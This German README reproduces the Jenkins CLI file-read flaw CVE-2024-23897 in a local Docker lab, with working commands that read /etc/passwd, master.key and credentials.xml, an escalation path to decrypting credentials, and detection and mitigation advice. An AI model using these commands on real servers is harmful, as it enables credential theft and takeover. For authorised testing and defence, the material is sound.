
Reproduktion von cve-2024-23897-jenkins_lfi_reproduction
CVSS 9.8 (KRITISCH) — Wird derzeit aktiv in freier Wildbahn ausgenutzt
CVE-2024-23897 ist eine kritische Schwachstelle für beliebiges Dateilesen in der Befehlszeilenschnittstelle (CLI) von Jenkins. Die Jenkins-CLI verwendet die Bibliothek args4j zum Parsen von Befehlsargumenten. Diese Bibliothek expandiert das Zeichen @ gefolgt von einem Dateipfad (@/path/to/file), indem sie den Inhalt dieser Datei liest und als Argumente einfügt. Ein nicht authentifizierter Angreifer kann dieses Verhalten ausnutzen, um ohne jegliche Authentifizierung beliebige Dateien im Dateisystem des Jenkins-Controllers zu lesen.
In Kombination mit der Extraktion von credentials.xml, secrets oder master.key kann diese Schwachstelle zu einer vollständigen Kompromittierung des Servers (RCE) führen.
@-Zeichens in args4jDie Bibliothek args4j (die vom CLI-Befehlsparser von Jenkins verwendet wird) implementiert eine Komfortfunktion: Wenn ein Argument mit @ beginnt, behandelt sie den Rest des Arguments als Dateipfad, liest den Inhalt der Datei und teilt ihn in mehrere Argumente auf. Dies sollte es ermöglichen, große Argumentlisten über Dateien zu übergeben.
Beispiel: java -jar jenkins-cli.jar who-am-i @/etc/passwd würde dazu führen, dass args4j /etc/passwd liest und dessen Inhalt als Argumente für den Befehl who-am-i verwendet.
Da bestimmte CLI-Befehle (wie connect-node) Argumentwerte in Fehlermeldungen/Antworten zurückspiegeln oder einbeziehen, kann ein Angreifer den Dateiinhalt in der CLI-Antwort beobachten.
@/etc/passwd| Produkt | Betroffen | Behoben |
|---|---|---|
| Jenkins (weekly) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (frühere) | ≤ 2.414.2 | 2.414.3 |
Hinweis: Alle Jenkins-Versionen vor den oben aufgeführten Fixes sind verwundbar. Die CLI-Funktion existiert seit vielen Jahren in Jenkins, daher sind auch ältere Versionen betroffen, auch wenn sie nicht explizit aufgeführt sind.
Eine verwundbare Jenkins-Instanz mit Docker ausführen:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
Notieren Sie das anfängliche Admin-Passwort aus den Container-Logs.
Überprüfen, dass der CLI-Port geöffnet ist:
# Jenkins CLI port (TCP 50000) should be listening
# Or you can use the HTTP CLI endpoint at /cli/
Python 3.8+ mit den erforderlichen Abhängigkeiten installieren:
pip install requests
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
Die Dateiinhalte erscheinen in der CLI-Antwort oder der Fehlerausgabe. Beispielsweise würde das Lesen von /etc/passwd die Passwortdatei-Einträge des Systems zurückgeben.
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
Mit master.key und hudson.util.Secret können Sie Jenkins-Anmeldeinformationen mit Tools wie jenkins_decrypt.py oder dem Skript decrypt.py aus den Referenzen zu CVE-2024-23897 entschlüsseln. Die entschlüsselten Anmeldeinformationen (SSH-Schlüssel, API-Tokens, Cloud-Provider-Schlüssel) können dann verwendet werden, um Remote-Codeausführung auf verbundenen Knoten und in Cloud-Umgebungen zu erreichen.
Durchsuchen Sie Zugriffsprotokolle oder CLI-Prüfprotokolle nach Argumenten, die @ gefolgt von Dateipfaden enthalten:
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log
# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
Wenn ein sofortiger Patch nicht möglich ist, deaktivieren Sie den CLI-Port, indem Sie die Option --webroot setzen oder Port 50000 blockieren. Beachten Sie jedoch, dass der HTTP-CLI-Endpunkt (/cli/) in der Weboberfläche weiterhin ausnutzbar sein kann, daher wird das Patchen dringend empfohlen.
Dieses Repository dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Die unbefugte Ausnutzung dieser Schwachstelle ist illegal. Die Autoren sind nicht verantwortlich für jeglichen Missbrauch dieser Informationen. Testen Sie nur Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
| Aktion | Details |
|---|
| Jenkins aktualisieren | Upgrade auf Jenkins 2.442+ oder LTS 2.426.3+ / 2.414.3+ |
| CLI-Port deaktivieren | TCP-Port 50000 in der Firewall blockieren, falls nicht benötigt |
| Netzwerkzugriff einschränken | Zugriff auf den Jenkins-CLI-Port nur auf vertrauenswürdige Netzwerke beschränken |
| Authentifizierung aktivieren | Sicherstellen, dass Jenkins für den gesamten Zugriff eine Authentifizierung verlangt |
| Logs überwachen | In Zugriffsprotokollen nach CLI-Befehlen mit @-Argumenten suchen |